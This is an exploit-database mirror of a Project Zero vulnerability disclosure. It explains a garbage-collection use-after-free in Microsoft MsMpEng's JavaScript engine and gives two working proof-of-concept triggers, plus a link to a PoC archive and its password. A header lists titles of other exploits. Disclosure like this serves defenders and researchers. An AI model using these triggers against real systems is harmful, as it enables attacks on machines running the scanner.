42e94b4366
26 new exploits Microsoft MsMpEng - Remotely Exploitable Use-After-Free due to Design Issue in GC Engine Microsoft MsMpEng - Multiple Crashes While Scanning Malformed Files Microsoft MsMpEng - Use-After-Free via Saved Callers WebKit JSC - 'JSObject::ensureLength' ensureLengthSlow Check Failure WebKit JSC - Incorrect Check in emitPutDerivedConstructorToArrowFunctionContextScope WebKit - 'Element::setAttributeNodeNS' Use-After-Free reiserfstune 3.6.25 - Local Buffer Overflow TiEmu 2.08 - Local Buffer Overflow Octopus Deploy - Authenticated Code Execution (Metasploit) Samba - 'is_known_pipename()' Arbitrary Module Load (Metasploit) CERIO DT-100G-N/DT-300N/CW-300N - Multiple Vulnerabilities Linux/x86 - execve(/bin/sh_) Shellcode (19 bytes) Linux/x86 - execve(_/bin/sh_) Shellcode (21 bytes) uc-http Daemon - Local File Inclusion / Directory Traversal Trend Micro Deep Security version 6.5 - XML External Entity Injection / Local Privilege Escalation / Remote Code Execution KEMP LoadMaster 7.135.0.13245 - Persistent Cross-Site Scripting / Remote Code Execution IBM Informix Dynamic Server / Informix Open Admin Tool - DLL Injection / Remote Code Execution / Heap Buffer Overflow WordPress Plugin Huge-IT Video Gallery 2.0.4 - SQL Injection TerraMaster F2-420 NAS TOS 3.0.30 - Unauthenticated Remote Code Execution as Root Piwigo Plugin Facetag 0.0.3 - SQL Injection OV3 Online Administration 3.0 - Directory Traversal OV3 Online Administration 3.0 - Remote Code Execution OV3 Online Administration 3.0 - SQL Injection Piwigo Plugin Facetag 0.0.3 - Cross-Site Scripting Riverbed SteelHead VCX 9.6.0a - Arbitrary File Read WebKit - CachedFrame does not Detach Openers Universal Cross-Site Scripting WebKit - 'CachedFrameBase::restore' Universal Cross-Site Scripting WebKit - 'Document::prepareForDestruction' and 'CachedFrame' Universal Cross-Site Scripting
71 lines
No EOL
4.5 KiB
Text
Executable file
71 lines
No EOL
4.5 KiB
Text
Executable file
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1258
|
||
|
||
MsMpEng's JS engine uses garbage collection to manage the lifetime of Javascript objects.
|
||
|
||
During mark and sweep the GC roots the vectors representing the JS stack as well as a few other hardcoded objects, traversing reachable objects from those roots then frees any unreachable objects. The native stack is *not* marked therefore any native code which is using JsObject pointers needs to take care to ensure that either the objects will remain reachable or that a GC cannot occur.
|
||
|
||
MsMpEng's JS engine supports script defining toString and valueOf methods on objects which will be invoked when the native code attempts to convert JsObjects to strings or integers. These script callbacks are implemented by calling JsTree::run. the ::run method takes two arguments, the JS state and a flag which determines whether GC is blocked. In order to prevent the re-entrant scripts causing a GC the wrappers call JsTree::run passing 1 for the gc disable flag which means that JSTree will not run a GC while the callback executes.
|
||
|
||
The problem is that this flag isn't a global GC disable flag, it only applies to this particular JsTree frame. If we can cause another JsTree to be run inside the callback which passes 0 for the gc disable flag then the script running under *that* JsTree::run will be able to cause a gc, which is global.
|
||
|
||
The implementation of eval is one place where we can cause JsTree::run to be called passing 0, meaning that we can cause a GC inside a callback where GC should be disable by just eval'ing a string which will cause a GC when executed.
|
||
|
||
The final piece is to find a construct where native code has a JsObject pointer on the stack that is not being kept alive by other references reachable from GC roots. JsDelegateObject_StringProto::slice which implements the String.prototype.slice method has such a construct, in high-level pseudo-code the logic of the functions looks like this:
|
||
|
||
JsObject* this = getCurrentThisPointer(); // kept alive because it’s on JS stack
|
||
|
||
JsString* this_str = JsDelegateObject_StringProto::toStringThrows(this);
|
||
// nothing (apart from maybe JSBench?) is rooting this_str as long as we
|
||
// don't keep any references to it in script
|
||
// the native code needs to prevent GC to keep it alive while it needs it
|
||
|
||
int len = JsString::numBytes(this_str); // okay because this can't cause GC
|
||
|
||
int start = JsDelegateObject_StringProto::toIntegerThrows( args[0] );
|
||
|
||
// this calls valueOf() on the first argument
|
||
// toIntegerThrows will call through to JsTree::run if we override valueOf of the first argument to slice()
|
||
|
||
// It will pass blockGC=1 to prevent the callback doing GC (which could free this_str)
|
||
// however if in the valueof callback we eval code which will cause a GC we can get a GC to happen
|
||
// which will cause the this_str JsString to be free'd (as it's not explicitly rooted,
|
||
// the native stack isn't scanned and no script objects reference it.)
|
||
|
||
// the code continues and does something like this:
|
||
JsString::initBySub(jsState, this_str ...
|
||
|
||
// that ends up calling a virtual method on the free’d this_str
|
||
|
||
|
||
PoC script:
|
||
|
||
function gc() {eval("var a = Object(); var b = Object(); var s='a'; for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa')};");}; var x = Object(); x.toString = function(){String.fromCharCode(0x43)+String.fromCharCode(0x41);}; var l=Object(); l.valueOf=function(){gc(); return 1;}; String.prototype.slice.call(x, l);
|
||
|
||
PoC zip file also attached which will trigger on Windows when decrypted with password "nscriptgc"
|
||
|
||
################################################################################
|
||
|
||
Here's a clearer PoC not all on one line for the mpengine shell :)
|
||
|
||
//*************************
|
||
function gc() {
|
||
eval("var s='a';for(var i=0; i < 0x800; i++){s=s.replace('a', 'aaaaaaaa');}");
|
||
};
|
||
|
||
var x = Object();
|
||
// the first PoC didn't return a string here so toString ended up being the string 'undefined'
|
||
// if we do want to return a string object it has to have more than three characters so it doesn't use the
|
||
// inline string optimization
|
||
x.toString = function(){return String.fromCharCode(0x41, 0x41, 0x41, 0x41);};
|
||
|
||
var l = Object();
|
||
l.valueOf = function() {gc(); return 1;};
|
||
|
||
String.prototype.slice.call(x, l);
|
||
//************************
|
||
|
||
################################################################################
|
||
|
||
|
||
Proof of Concept:
|
||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42088.zip |